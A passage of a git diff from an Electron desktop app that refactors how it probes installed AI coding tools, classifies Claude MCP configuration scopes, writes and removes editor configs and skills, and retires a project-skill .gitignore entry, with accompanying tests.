=> {+ const { detection } = await collectDesktopHostSnapshot({+ resolve: answersEverything,+ probeEditorPresence: async () => ({ cliOnPath: { cursor: true }, schemeHandler: {} }),+ });+ expect(detection).toEqual({ detected: ['cursor'], probed: true });+ });++ it('survives a resolver that throws without fabricating an answer', async () => {+ const { probes } = await collectDesktopHostSnapshot({+ resolve: () => {+ throw new Error('EACCES');+ },+ probeEditorPresence: async () => NOTHING_ON_THIS_MACHINE,+ });+ expect(probes.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });+});++describe('with no project open', () => {+ it('leaves project-scope rows unprobed instead of reading a stray directory', async () => {+ const { probes } = await collectDesktopHostSnapshot({+ resolve: withoutProjectScope(answersEverything),+ probeEditorPresence: async () => NOTHING_ON_THIS_MACHINE,+ });+ expect(probes.satisfiers['claude/mcp/project/config-entry']).toEqual({ state: 'unprobed' });+ });++ it('still answers the user-global rows, which need no project', async () => {+ const { probes } = await collectDesktopHostSnapshot({+ resolve: withoutProjectScope(answersEverything),+ probeEditorPresence: async () => NOTHING_ON_THIS_MACHINE,+ });+ expect(probes.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'absent' });+ });+});diff --git a/packages/desktop/src/main/agent-registry-probes.ts b/packages/desktop/src/main/agent-registry-probes.tsnew file mode 100644index 000000000..a68d7ac88--- /dev/null+++ b/packages/desktop/src/main/agent-registry-probes.ts@@ -0,0 +1,42 @@+import {+ ALL_AGENT_IDS,+ buildProbeSnapshot,+ type DetectionSnapshot,+ EMPTY_DETECTION_SNAPSHOT,+ type HostSnapshot,+ type ProbeResolver,+} from '@inkeep/open-knowledge-core';+import { detectedEditorsFromProbes, type EditorPresenceProbes } from './integrations-settings.ts';++export async function detectAgentsForRegistry(+ probeEditorPresence: () => Promise<EditorPresenceProbes>,+): Promise<DetectionSnapshot> {+ let detected: ReadonlySet<string>;+ try {+ detected = detectedEditorsFromProbes(await probeEditorPresence());+ } catch {+ return EMPTY_DETECTION_SNAPSHOT;+ }+ return { detected: ALL_AGENT_IDS.filter((id) => detected.has(id)), probed: true };+}++export interface DesktopHostSnapshotOptions {+ readonly resolve: ProbeResolver;+ readonly probeEditorPresence?: () => Promise<EditorPresenceProbes>;+}++export async function collectDesktopHostSnapshot(+ options: DesktopHostSnapshotOptions,+): Promise<HostSnapshot> {+ return {+ probes: await buildProbeSnapshot({ env: 'desktop', resolve: options.resolve }),+ detection:+ options.probeEditorPresence === undefined+ ? EMPTY_DETECTION_SNAPSHOT+ : await detectAgentsForRegistry(options.probeEditorPresence),+ };+}++export function withoutProjectScope(resolve: ProbeResolver): ProbeResolver {+ return (item) => (item.scope === 'project' ? null : resolve(item));+}diff --git a/packages/desktop/src/main/claude-mcp-scopes.ts b/packages/desktop/src/main/claude-mcp-scopes.tsnew file mode 100644index 000000000..277d5dc54--- /dev/null+++ b/packages/desktop/src/main/claude-mcp-scopes.ts@@ -0,0 +1,48 @@+import {+ classifyExistingMcpEntry,+ EDITOR_TARGETS,+ isEntryUpToDate,+ isOwnManagedEntry,+} from '@inkeep/open-knowledge';++import type { McpEntryKind } from './claude-readiness.ts';++export interface ClaudeMcpScopes {+ readonly projectWired: boolean;+ readonly projectOwn: boolean;+ readonly projectEntryPresent: boolean;+ readonly globalOwn: boolean;+ readonly globalKind: McpEntryKind;+}++const NO_PROJECT_SCOPE = {+ projectWired: false,+ projectOwn: false,+ projectEntryPresent: false,+} as const;++export function classifyClaudeMcpScopes(+ projectRoot: string | undefined,+ home: string,+): ClaudeMcpScopes {+ const target = EDITOR_TARGETS.claude;+ const global = classifyExistingMcpEntry(target, '', home);+ const globalOwn = global.kind === 'present' && isOwnManagedEntry(global.entry);+ const globalScope = { globalOwn, globalKind: global.kind };++ const projectPath =+ projectRoot === undefined ? undefined : target.projectConfigPath?.(projectRoot);+ if (projectRoot === undefined || projectPath === undefined) {+ return { ...NO_PROJECT_SCOPE, ...globalScope };+ }++ const project = classifyExistingMcpEntry(target, projectRoot, undefined, projectPath);+ return {+ projectWired:+ project.kind === 'present' &&+ (isEntryUpToDate(project.entry) || isOwnManagedEntry(project.entry)),+ projectOwn: project.kind === 'present' && isOwnManagedEntry(project.entry),+ projectEntryPresent: project.kind === 'present' || project.kind === 'decline',+ ...globalScope,+ };+}diff --git a/packages/desktop/src/main/claude-readiness.ts b/packages/desktop/src/main/claude-readiness.tsindex 3514b8144..1953cf81b 100644--- a/packages/desktop/src/main/claude-readiness.ts+++ b/packages/desktop/src/main/claude-readiness.ts@@ -139,6 +139,19 @@ export interface ResolveClaudeReadinessDeps {probeClaude(): Promise<number | null>;classifyMcpEntry(): McpEntryKind;isProjectMcpPreApprovable(): boolean;+ isProjectMcpWired?(): boolean;+ hasProjectMcpEntry?(): boolean;+ isGlobalMcpOwnManaged?(): boolean;+}++function resolveOkToolsAutoApprovable(scopes: {+ projectEntryPresent: boolean;+ projectEntryIsOwn: boolean;+ globalEntryPresent: boolean;+ globalEntryIsOwn: boolean;+}): boolean {+ if (scopes.globalEntryPresent && !scopes.globalEntryIsOwn) return false;+ return scopes.projectEntryPresent ? scopes.projectEntryIsOwn : scopes.globalEntryIsOwn;}export async function resolveClaudeReadiness(@@ -157,9 +170,9 @@ export async function resolveClaudeReadiness(} catch (err) {getLogger('claude-readiness').warn({ err },- 'classifyMcpEntry threw (never-throws contract violated); treating MCP as not-wired',+ 'classifyMcpEntry threw (never-throws contract violated); treating MCP as unreadable',);- kind = 'absent';+ kind = 'decline';}let mcpPreApprovable: boolean;try {@@ -171,10 +184,50 @@ export async function resolveClaudeReadiness();mcpPreApprovable = false;}+ let projectEntryPresent: boolean;+ try {+ projectEntryPresent = deps.hasProjectMcpEntry?.() ?? true;+ } catch (err) {+ getLogger('claude-readiness').warn(+ { err },+ 'hasProjectMcpEntry threw; assuming a project MCP entry exists (fail-closed)',+ );+ projectEntryPresent = true;+ }+ let globalEntryIsOwn: boolean;+ try {+ globalEntryIsOwn = deps.isGlobalMcpOwnManaged?.() ?? false;+ } catch (err) {+ getLogger('claude-readiness').warn(+ { err },+ 'isGlobalMcpOwnManaged threw; treating the global MCP entry as not OK-owned',+ );+ globalEntryIsOwn = false;+ }+ const globalWired = mcpStatusFromClassification(kind) === 'wired';+ let projectWired = mcpPreApprovable;+ if (deps.isProjectMcpWired !== undefined) {+ try {+ projectWired = deps.isProjectMcpWired();+ } catch (err) {+ getLogger('claude-readiness').warn(+ { err },+ 'isProjectMcpWired threw; falling back to the exact project answer',+ );+ }+ }return {claude: interpretClaudeProbe(code),- mcp: mcpStatusFromClassification(kind),+ mcp: globalWired || projectWired ? 'wired' : 'needs-rewire',+ mcpScopes: { global: globalWired, project: projectWired },mcpPreApprovable,+ okToolsAutoApprovable: resolveOkToolsAutoApprovable({+ projectEntryPresent,+ projectEntryIsOwn: mcpPreApprovable,+ globalEntryPresent:+ deps.isGlobalMcpOwnManaged !== undefined && (kind === 'present' || kind === 'decline'),+ globalEntryIsOwn,+ }),};}diff --git a/packages/desktop/src/main/create-new-project.test.ts b/packages/desktop/src/main/create-new-project.test.tsindex 1a8659194..0787f995d 100644--- a/packages/desktop/src/main/create-new-project.test.ts+++ b/packages/desktop/src/main/create-new-project.test.ts@@ -357,10 +357,7 @@ describe('runCreateNew — git-root promotion', () => {expect(cfg).not.toMatch(/^\s*dir:\s*notes\/MyProj/m);const gi = resolve(repo, '.gitignore');- expect(existsSync(gi)).toBe(true);- const giBody = readFileSync(gi, 'utf8');- expect(giBody).toContain('.claude/skills/open-knowledge/');- expect(giBody).not.toContain('.DS_Store');+ expect(existsSync(gi)).toBe(false);});test('no promotion when parent has no enclosing git repo — projectDir === target, content.dir === "."', async () => {@@ -611,6 +608,7 @@ describe('runCreateNew — installs the project-local skill (PRD-6733)', () => {(o) => o.integration === 'project-skill' && o.action === 'written',);expect(skillWrites.map((o) => o.editorId).sort()).toEqual([+ 'agents','claude','codex','copilot',@@ -618,6 +616,9 @@ describe('runCreateNew — installs the project-local skill (PRD-6733)', () => {'opencode','pi',]);+ expect(+ existsSync(join(result.projectDir, '.agents', 'skills', 'open-knowledge', 'SKILL.md')),+ ).toBe(true);});test('skips the Copilot project skill when Copilot is selected without MCP wiring', async () => {diff --git a/packages/desktop/src/main/create-new-project.ts b/packages/desktop/src/main/create-new-project.tsindex a3ac33905..bc6167455 100644--- a/packages/desktop/src/main/create-new-project.ts+++ b/packages/desktop/src/main/create-new-project.ts@@ -18,7 +18,6 @@ import {coercePackId,type EnsureProjectGitResult,ensureProjectGit,- ensureProjectSkillGitignore,findEnclosingProjectRoot,initContent,planSeed,@@ -261,14 +260,6 @@ export async function runCreateNew(const aiIntegrations = writeProjectAiIntegrations(projectDir, [...editors]);- try {- ensureProjectSkillGitignore(projectDir);- } catch (err) {- console.warn(- `[create-new-project] skipping project-skill .gitignore entry at ${projectDir}: ${err instanceof Error ? err.message : String(err)}`,- );- }-const desiredSharing: 'shared' | 'local-only' =args.sharing === 'local-only' ? 'local-only' : 'shared';const sharingOutcome: CreateNewSharingOutcome =diff --git a/packages/desktop/src/main/index.ts b/packages/desktop/src/main/index.tsindex 84a168954..846d2ab5e 100644--- a/packages/desktop/src/main/index.ts+++ b/packages/desktop/src/main/index.ts@@ -17,6 +17,7 @@ import {ALL_EDITOR_IDS,addOkPathsToGitExclude,classifyExistingMcpEntry,+ createCliProbeResolver,defaultBugReportZipPath,detectInstalledEditors,EDITOR_TARGETS,@@ -34,13 +35,16 @@ import {removeOwnMcpEntry,removeProjectSkill,removeUserGlobalSkillBundle,+ removeUserSkill,runStop,type TrackedRefusal,+ userSkillPresentAnywhere,validateLocalFolderForShare,writeEditorMcpConfig,writeProjectAiIntegrations,writeProjectSkill,writeUserMcpConfigs,+ writeUserSkill,} from '@inkeep/open-knowledge';import {AGENTS_SKILLS_ROOT,@@ -50,7 +54,6 @@ import {type LanguagePreference,OPENKNOWLEDGE_SKILLS_REPO,PROTOCOL_VERSION,- projectSkillDecisionKey,ServerInfoSuccessSchema,SPAWN_ERROR_LOG,TERMINAL_CLIS,@@ -73,7 +76,6 @@ import {createEphemeralProjectDir,discoverLockDirs,ensureProjectGit,- ensureProjectSkillGitignore,findEnclosingGitRoot,findEnclosingProjectRoot,getLocalDir,@@ -89,6 +91,7 @@ import {readServerLock,readServerPackageVersion,recordSkillInstallEvent,+ removeProjectSkillGitignoreBlock,reportSkillInstall,resolveBuiltinSkillHosts,resolveBundledSkillDir,@@ -97,12 +100,16 @@ import {runAuthStatusSubprocess,trustSystemCertificates,USER_GLOBAL_BUNDLE_IDS,- untrackTrackedProjectSkillProjection,withSpan,writeBundleDecision,writeTargetVersion,} from '@inkeep/open-knowledge-server';-import type { BrowserWindowConstructorOptions, MessageBoxOptions, WebContents } from 'electron';+import type {+ BrowserWindowConstructorOptions,+ IpcMainInvokeEvent,+ MessageBoxOptions,+ WebContents,+} from 'electron';import {app,BrowserWindow,@@ -141,6 +148,7 @@ import type {OnboardingShowPayload,RecentProject,} from '../shared/ipc-channels.ts';+import type { EventChannels } from '../shared/ipc-events.ts';import { createHandler } from '../shared/ipc-handler.ts';import { registerPendingDelivery, sendToRenderer } from '../shared/ipc-send.ts';import { UNINSTALL_PRELOAD_ARG } from '../shared/uninstall-preload-arg.ts';@@ -152,6 +160,12 @@ import {resolveAccessibilityFeatures,} from './accessibility-posture.ts';import { docNameFromActiveTarget, EditorActiveTargetRegistry } from './active-target-registry.ts';+import {+ createAgentIntegrationsApplyDelegate,+ type GlobalWriterSurface,+ type ProjectWriterSurface,+} from './agent-registry-apply.ts';+import { collectDesktopHostSnapshot, withoutProjectScope } from './agent-registry-probes.ts';import { appendOkIgnoreSync } from './append-okignore.ts';import { registerAppImageDeepLinks } from './appimage-integration.ts';import { openAssetSafely, revealAssetSafely } from './asset-allowlist.ts';@@ -195,6 +209,7 @@ import {computeShareTargetMissing,resolveTargetProbeCoordinate,} from './check-target-exists.ts';+import { classifyClaudeMcpScopes } from './claude-mcp-scopes.ts';import {cliProbeArgs,type ProbeChild,@@ -391,7 +406,7 @@ import { checkOutboundUrl, handleShellOpenExternal } from './shell-allowlist.ts'import { applyHarvestedAuthSock, harvestShellAuthSock } from './shell-env.ts';import { createShowGateRegistry, type ShowGateRegistry } from './show-gate.ts';import { installSignalCleanQuit } from './signal-clean-quit.ts';-import { reclaimProjectSkillsOnProjectOpen, reclaimUserSkillsOnLaunch } from './skill-reclaim.ts';+import { reconcileUserGlobalSkillBundles } from './skill-reclaim.ts';import { resolveDeckPath } from './slides-deck-path.ts';import { createSlidesDeckRegistry, type SlidesDeckWindow } from './slides-registry.ts';import { recordDeckOpen } from './slides-telemetry.ts';@@ -400,6 +415,7 @@ import { realIsExecutableFile, resolveSlidev } from './slidev-resolve.ts';import { findFreePort, probeSlidevReady, realSpawnSlidev } from './slidev-server.ts';import { attachSpellcheckContextMenu } from './spellcheck-context-menu.ts';import { popSpellcheckMenu } from './spellcheck-menu.ts';+import { dispatchStartupToastAcrossLoads } from './startup-toast-dispatch.ts';import { beginRoot, childSpan, endRoot, injectTraceparent } from './startup-trace.ts';import { type RendererMarks, StartupWaterfall } from './startup-waterfall.ts';import {@@ -436,6 +452,7 @@ import {readTerminalShellSetting,} from './terminal-consent.ts';import { commitTerminalDockState } from './terminal-dock-persistence.ts';+import { observeTerminalLaunch } from './terminal-gate-observation.ts';import { type TerminalReaper, wireWindowTerminalReap } from './terminal-lifecycle.ts';import {clampPtyDimension,@@ -1664,12 +1681,33 @@ async function openProject(cli: createProjectMcpReclaimCliSurface(),forceEnv: process.env.OK_M6B_FORCE ?? null,reclaimDisableEnv: process.env.OK_RECLAIM_DISABLE ?? null,- logger: { event: (payload) => getLogger('mcp-wiring').info(payload, payload.event) },- }).catch((err) => {- console.warn('[main] project-mcp reclaim failed', {- err: err instanceof Error ? err.message : String(err),+ logger: {+ event: (payload) =>+ payload.severity === 'warn'+ ? getLogger('mcp-wiring').warn(payload, payload.event)+ : getLogger('mcp-wiring').info(payload, payload.event),+ },+ })+ .then((result) => {+ if (result.status !== 'done') return;+ const unhealed = result.perEditor.filter(+ (entry) =>+ entry.status === 'failed' ||+ entry.status === 'declined' ||+ entry.status === 'prune-unchanged',+ );+ if (unhealed.length > 0) {+ getLogger('mcp-wiring').warn(+ { unhealed },+ 'project-open sweep left entries it could not heal',+ );+ }+ })+ .catch((err) => {+ console.warn('[main] project-mcp reclaim failed', {+ err: err instanceof Error ? err.message : String(err),+ });});- });let didEnsureGit = false;let flowKind: OnboardingFlowKind;let contentDirChanged = false;@@ -1818,10 +1856,16 @@ async function openProject(writeProjectAiIntegrations(discovery.projectDir, [...request.editorIds]),);try {- ensureProjectSkillGitignore(discovery.projectDir);+ if (removeProjectSkillGitignoreBlock(discovery.projectDir) === 'removed') {+ getLogger('project').info(+ { projectDir: discovery.projectDir },+ 'removed the retired project-skill .gitignore block',+ );+ }} catch (err) {- console.warn(- `[onboarding] skipping project-skill .gitignore entry at ${discovery.projectDir}: ${err instanceof Error ? err.message : String(err)}`,+ getLogger('project').warn(+ { projectDir: discovery.projectDir, err },+ 'project-skill .gitignore cleanup failed',);}if (request.sharing === 'local-only') {@@ -1860,60 +1904,19 @@ async function openProject(}if (discovery.kind === 'managed' || discovery.kind === 'managed-requires-confirmation') {- getLogger('project').info({ projectName }, 'reclaiming project skills');- void reclaimProjectSkillsOnProjectOpen({- projectDir: resolvedProjectDir,- executablePath: app.getPath('exe'),- isPackaged: app.isPackaged,- platform: process.platform,- forceEnv: process.env.OK_M6B_FORCE ?? null,- reclaimDisableEnv: process.env.OK_RECLAIM_DISABLE ?? null,- createIfWired: true,- deps: {- resolveBundledSkillDir: () => resolveBundledSkillDir('project', { checkDesktop: false }),- readProjectSkillDecision: (dir) =>- readBundleDecision(osHomedir(), projectSkillDecisionKey(dir)),- reportInstalled: (skillNames, scope) => {- const home = osHomedir();- void reportSkillInstall(- {- source: OPENKNOWLEDGE_SKILLS_REPO,- skills: skillNames,- ...(scope === undefined ? {} : { scope }),- },- { home, enabled: resolveSkillInstallReportSettings(home).enabled },- );- },- },- }).catch((err) => {- console.warn('[main] project-skill reclaim failed', {- err: err instanceof Error ? err.message : String(err),- });- });-try {- ensureProjectSkillGitignore(resolvedProjectDir);+ if (removeProjectSkillGitignoreBlock(resolvedProjectDir) === 'removed') {+ getLogger('project').info(+ { projectDir: resolvedProjectDir },+ 'removed the retired project-skill .gitignore block',+ );+ }} catch (err) {- console.warn('[main] project-skill .gitignore ensure failed', {- err: err instanceof Error ? err.message : String(err),- });+ getLogger('project').warn(+ { projectDir: resolvedProjectDir, err },+ 'project-skill .gitignore cleanup failed',+ );}- void untrackTrackedProjectSkillProjection(resolvedProjectDir)- .then((result) => {- if (result.kind === 'untracked') {- getLogger('project').info(- { dirs: result.dirs, commitSha: result.commitSha },- 'untracked OpenKnowledge project-skill projection (now local-only)',- );- } else if (result.kind === 'failed') {- console.warn('[main] project-skill untrack failed', { err: result.error });- }- })- .catch((err) => {- console.warn('[main] project-skill untrack threw', {- err: err instanceof Error ? err.message : String(err),- });- });}recordOnboardingFlow({@@ -3306,10 +3309,11 @@ function createProjectMcpReclaimCliSurface(): ProjectMcpReclaimCliSurface {allEditorIds: ALL_EDITOR_IDS,classifyExistingProjectMcpConfig: (editorId, projectDir, projectPath) =>classifyExistingMcpEntry(EDITOR_TARGETS[editorId], projectDir, undefined, projectPath),- writeProjectMcpConfig: ({ editorId, projectDir, projectPath }) => {+ writeProjectMcpConfig: ({ editorId, projectDir, projectPath, pruneOnly }) => {const installOpts: McpInstallOptions = {mode: 'published',skipAvailabilityCheck: true,+ ...(pruneOnly === true ? { pruneOnly: true } : {}),};const result = writeEditorMcpConfig(EDITOR_TARGETS[editorId],@@ -3324,7 +3328,7 @@ function createProjectMcpReclaimCliSurface(): ProjectMcpReclaimCliSurface {if (result.action === 'declined') {return { action: 'declined', reason: result.declineReason };}- return { action: 'overwritten' };+ return { action: result.action === 'skipped-flag' ? 'unchanged' : 'overwritten' };},};}@@ -3352,7 +3356,7 @@ function buildEnsureCliOnPathOpts() {};}-function buildReclaimUserSkillsOpts(): Parameters<typeof reclaimUserSkillsOnLaunch>[0] {+function buildUserGlobalSkillInstallOpts(): Parameters<typeof reconcileUserGlobalSkillBundles>[0] {return {home: osHomedir(),isPackaged: app.isPackaged,@@ -3451,7 +3455,7 @@ function createMcpWiringOpts(opts: ArmMcpWiringOpts = {}) {}}try {- await reclaimUserSkillsOnLaunch(buildReclaimUserSkillsOpts());+ await reconcileUserGlobalSkillBundles(buildUserGlobalSkillInstallOpts());} catch (err) {return { ok: false as const, error: err instanceof Error ? err.message : String(err) };}@@ -3470,7 +3474,9 @@ function createMcpWiringOpts(opts: ArmMcpWiringOpts = {}) {error: (msg: string, ctx?: object) =>getLogger('mcp-wiring').error((ctx ?? {}) as Record<string, unknown>, msg),event: (payload: { event: string; [k: string]: unknown }) =>- getLogger('mcp-wiring').info(payload, payload.event),+ payload.severity === 'warn'+ ? getLogger('mcp-wiring').warn(payload, payload.event)+ : getLogger('mcp-wiring').info(payload, payload.event),},};}@@ -3548,16 +3554,8 @@ function probeLoginShellOnPath(args?: readonly string[]): Promise<number | null>);}-function isProjectClaudeMcpOwn(projectRoot: string | undefined): boolean {- if (projectRoot === undefined) return false;- const target = EDITOR_TARGETS.claude;- const projectPath = target.projectConfigPath?.(projectRoot);- if (projectPath === undefined) return false;- const classified = classifyExistingMcpEntry(target, projectRoot, undefined, projectPath);- return classified.kind === 'present' && isOwnManagedEntry(classified.entry);-}-function resolveTerminalClaudeReadiness(projectRoot: string | undefined): Promise<ClaudeReadiness> {+ const scopes = classifyClaudeMcpScopes(projectRoot, osHomedir());return resolveClaudeReadiness({probeClaude: () =>probePlatformCliOnPath({@@ -3566,9 +3564,11 @@ function resolveTerminalClaudeReadiness(projectRoot: string | undefined): PromisprobePosix: (args) => probeLoginShellOnPath(args),probeWindows: (bin) => probeWindowsPath(bin),}),- classifyMcpEntry: () =>- createMcpWiringCliSurface().classifyExistingMcpEntry('claude', osHomedir()).kind,- isProjectMcpPreApprovable: () => isProjectClaudeMcpOwn(projectRoot),+ classifyMcpEntry: () => scopes.globalKind,+ isProjectMcpPreApprovable: () => scopes.projectOwn,+ isProjectMcpWired: () => scopes.projectWired,+ hasProjectMcpEntry: () => scopes.projectEntryPresent,+ isGlobalMcpOwnManaged: () => scopes.globalOwn,});}@@ -3630,7 +3630,11 @@ function dispatchStartupReclaimToastWhenReady(results: {if (mcp.status === 'failed') {dispatchToastWhenReady({kind: 'startup-reclaim',- mcp: { status: 'failed', editors: mcp.failedEditors.map((f) => f.editor) },+ mcp: {+ status: 'failed',+ failures: mcp.failedEditors.map((f) => ({ editor: f.editor, reason: f.error })),+ repaired: mcp.repairedEditors,+ },path: pathLeg,});return;@@ -3644,51 +3648,18 @@ function dispatchStartupReclaimToastWhenReady(results: {});}-function dispatchToastWhenReady(payload: {- readonly kind: 'startup-reclaim';- readonly mcp:- | { readonly status: 'none' }- | { readonly status: 'repaired'; readonly editors: readonly string[] }- | { readonly status: 'failed'; readonly editors: readonly string[] };- readonly path:- | { readonly status: 'none' }- | { readonly status: 'installed'; readonly summary: string }- | { readonly status: 'failed'; readonly summary: string };-}): void {- let dispatched = false;- const send = (win: Electron.BrowserWindow): void => {- if (dispatched || win.isDestroyed()) return;- try {- sendToRenderer(win.webContents, 'ok:onboarding:toast', payload);- dispatched = true;- } catch (err) {- console.warn('[main] startup reclaim toast send failed', {- err: err instanceof Error ? err.message : String(err),- });- }- };- const tryDispatch = (win: Electron.BrowserWindow): void => {- if (dispatched || win.isDestroyed()) return;- if (win.webContents.isLoading()) {- win.webContents.once('did-finish-load', () => send(win));- return;- }- send(win);- };- for (const win of BrowserWindow.getAllWindows()) {- tryDispatch(win);- if (dispatched) return;- }- const onCreated = (_event: Electron.Event, win: Electron.BrowserWindow) => {- win.webContents.once('did-finish-load', () => {- send(win);- if (dispatched) app.off('browser-window-created', onCreated);- });- };- app.on('browser-window-created', onCreated);- setTimeout(() => {- app.off('browser-window-created', onCreated);- }, 60_000);+function dispatchToastWhenReady(payload: EventChannels['ok:onboarding:toast']['payload']): void {+ dispatchStartupToastAcrossLoads(payload, {+ getAllWindows: () => BrowserWindow.getAllWindows(),+ onWindowCreated: (listener) => {+ const onCreated = (_event: Electron.Event, win: Electron.BrowserWindow) => listener(win);+ app.on('browser-window-created', onCreated);+ return () => app.off('browser-window-created', onCreated);+ },+ setTimeout: (fn, ms) => setTimeout(fn, ms),+ now: () => Date.now(),+ warn: (message, context) => console.warn(message, context),+ });}const RECENT_GIT_ROOTS_CAP = 256;@@ -3763,6 +3734,17 @@ function registerIpcHandlers() {});return { ok: false, reason: 'not-consented' };}+ if (opts.launchCli !== undefined) {+ await observeTerminalLaunch({+ launchCli: opts.launchCli,+ projectRoot: projectPath,+ log: getLogger('agent-gate'),+ snapshot: (projectRoot) =>+ collectDesktopHostSnapshot({+ resolve: createCliProbeResolver({ cwd: projectRoot, home: osHomedir() }),+ }),+ });+ }const shellSetting =process.platform === 'win32'? readTerminalShellSetting(projectPath)@@ -5230,7 +5212,7 @@ function probeEditorPresence(): Promise<EditorPresenceProbes> {async function probeEditorPresenceUncached(): Promise<EditorPresenceProbes> {const [cliOnPath, ...schemes] = await Promise.all([resolveTerminalCliInstalledMap().catch(() => ({}) as Record<TerminalCli, boolean>),- ...(['claude', 'codex', 'cursor'] as const).map((scheme) =>+ ...(['claude', 'codex', 'cursor', 'lmstudio'] as const).map((scheme) =>detectProtocolImpl({platform: process.platform,@@ -5248,10 +5230,87 @@ async function probeEditorPresenceUncached(): Promise<EditorPresenceProbes> {'claude-code': schemes[0] ?? false,codex: schemes[1] ?? false,cursor: schemes[2] ?? false,+ 'lm-studio': schemes[3] ?? false,+ },+ };+}++function globalMcpWriterSurface(): GlobalWriterSurface {+ return {+ allEditorIds: ALL_EDITOR_IDS.filter((id) => EDITOR_TARGETS[id].scope === 'global'),+ writeUserMcpConfigs: (writeOpts) => writeUserMcpConfigs({ ...writeOpts, replaceEntry: true }),+ removeUserMcpEntry: (editorId) => removeOwnMcpEntry(EDITOR_TARGETS[editorId], '', osHomedir()),+ writeUserSkill: (editorId) => {+ const result = writeUserSkill(editorId, osHomedir());+ return result.error === undefined+ ? { action: result.action }+ : { action: result.action, error: result.error };+ },+ removeUserSkill: (editorId) => {+ const result = removeUserSkill(editorId, osHomedir());+ return result.error === undefined+ ? { action: result.action }+ : { action: result.action, error: result.error };+ },+ userSkillPresentAnywhere: () => userSkillPresentAnywhere(osHomedir()),+ recordUserSkillDecision: (enabled) => {+ void writeBundleDecision(osHomedir(), BUNDLE_SKILL_NAME.discovery, enabled).catch(+ (err: unknown) => {+ getLogger('agent-integrations-apply').warn(+ { err, enabled },+ 'user-skill decision not recorded',+ );+ },+ );},};}+const PROJECT_INSTALL_OPTS: McpInstallOptions = {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+};++function projectWriterSurface(): ProjectWriterSurface {+ return {+ projectConfigPath: (id, projectDir) =>+ EDITOR_TARGETS[id].projectConfigPath?.(projectDir) ?? null,+ writeProjectMcpConfig: ({ id, projectDir, projectPath }) => {+ const result = writeEditorMcpConfig(+ EDITOR_TARGETS[id],+ projectDir,+ PROJECT_INSTALL_OPTS,+ undefined,+ projectPath,+ );+ if (result.action === 'written' || result.action === 'overwritten') {+ return { action: result.action };+ }+ if (result.action === 'declined') {+ return { action: 'declined', reason: result.declineReason };+ }+ return { action: 'failed', error: result.error };+ },+ removeProjectMcpEntry: (id, projectDir, projectPath) =>+ removeOwnMcpEntry(EDITOR_TARGETS[id], projectDir, undefined, projectPath),+ writeProjectSkill: (id, projectDir) => {+ const result = writeProjectSkill(EDITOR_TARGETS[id], projectDir);+ return { action: result.action, ...(result.error ? { error: result.error } : {}) };+ },+ removeProjectSkill: (id, projectDir) => {+ const result = removeProjectSkill(EDITOR_TARGETS[id], projectDir);+ return { action: result.action, ...(result.error ? { error: result.error } : {}) };+ },+ };+}++function projectDirForSender(event: IpcMainInvokeEvent): string | null {+ const win = BrowserWindow.fromWebContents(event.sender);+ if (!win) return null;+ return wm.getContextForBrowserWindow(win as unknown as BrowserWindowLike)?.projectPath ?? null;+}+function registerIntegrationsSettingsIpc(): void {const integrationsLogger = getLogger('integrations-settings');const available =@@ -5260,12 +5319,28 @@ function registerIntegrationsSettingsIpc(): void {!['appimage', 'unsupported'].includes(classifyInstallShape(process.platform, app.getPath('exe'), process.env).kind,);+ const applyLogger = getLogger('agent-integrations-apply');registerIntegrationsSettings({home: osHomedir(),available,ipcMain,+ applyBatch: createAgentIntegrationsApplyDelegate({+ available,+ surfaces: { global: globalMcpWriterSurface(), project: projectWriterSurface() },+ resolveProjectDir: projectDirForSender,+ snapshot: (projectDir) => {+ const resolve = createCliProbeResolver({ cwd: projectDir ?? '', home: osHomedir() });+ return collectDesktopHostSnapshot({+ resolve: projectDir === null ? withoutProjectScope(resolve) : resolve,+ probeEditorPresence,+ });+ },+ logger: {+ warn: (msg, ctx) => applyLogger.warn((ctx ?? {}) as Record<string, unknown>, msg),+ },+ }),cli: {- allEditorIds: ALL_EDITOR_IDS.filter((id) => EDITOR_TARGETS[id].scope === 'global'),+ ...globalMcpWriterSurface(),editorLabel: (editorId) => EDITOR_TARGETS[editorId].label,classifyExistingMcpEntry: (editorId, home) =>classifyExistingMcpEntry(EDITOR_TARGETS[editorId], '', home),@@ -5273,9 +5348,6 @@ function registerIntegrationsSettingsIpc(): void {editorConfigPath: (editorId) =>editorConfigPathDisplay(EDITOR_TARGETS[editorId], osHomedir()),editorEntryLocator: (editorId) => editorEntryLocator(EDITOR_TARGETS[editorId]),- writeUserMcpConfigs: (writeOpts) => writeUserMcpConfigs(writeOpts),- removeUserMcpEntry: (editorId) =>- removeOwnMcpEntry(EDITOR_TARGETS[editorId], '', osHomedir()),},probeEditorPresence,path: {@@ -5365,7 +5437,7 @@ function registerIntegrationsSettingsIpc(): void {return { ok: true as const };}try {- const result = await reclaimUserSkillsOnLaunch(buildReclaimUserSkillsOpts());+ const result = await reconcileUserGlobalSkillBundles(buildUserGlobalSkillInstallOpts());if (result.status === 'skipped') {return {ok: false as const,@@ -5400,13 +5472,11 @@ function registerProjectIntegrationsSettingsIpc(): void {return path.startsWith(`${home}/`) ? `~${path.slice(home.length)}` : path;};const canonicalSkillTarget = EDITOR_TARGETS.claude;- const projectInstallOpts: McpInstallOptions = { mode: 'published', skipAvailabilityCheck: true };const cli: ProjectIntegrationsCliSurface = {+ ...projectWriterSurface(),allEditorIds: ALL_EDITOR_IDS,editorLabel: (id) => EDITOR_TARGETS[id].label,- projectConfigPath: (id, projectDir) =>- EDITOR_TARGETS[id].projectConfigPath?.(projectDir) ?? null,projectSkillPath: (id, projectDir) => EDITOR_TARGETS[id].projectSkillPath?.(projectDir) ?? null,projectSkillBundle: () => {const sourceDir = resolveBundledSkillDir('project', { checkDesktop: false });@@ -5429,37 +5499,10 @@ function registerProjectIntegrationsSettingsIpc(): void {classifyExistingProjectMcpConfig: (id, projectDir, projectPath) =>classifyExistingMcpEntry(EDITOR_TARGETS[id], projectDir, undefined, projectPath),isOwnEntry: (entry) => isEntryUpToDate(entry) || isOwnManagedEntry(entry),- writeProjectMcpConfig: ({ id, projectDir, projectPath }) => {- const result = writeEditorMcpConfig(- EDITOR_TARGETS[id],- projectDir,- projectInstallOpts,- undefined,- projectPath,- );- if (result.action === 'written' || result.action === 'overwritten') {- return { action: result.action };- }- if (result.action === 'declined') {- return { action: 'declined', reason: result.declineReason };- }- return { action: 'failed', error: result.error };- },- removeProjectMcpEntry: (id, projectDir, projectPath) =>- 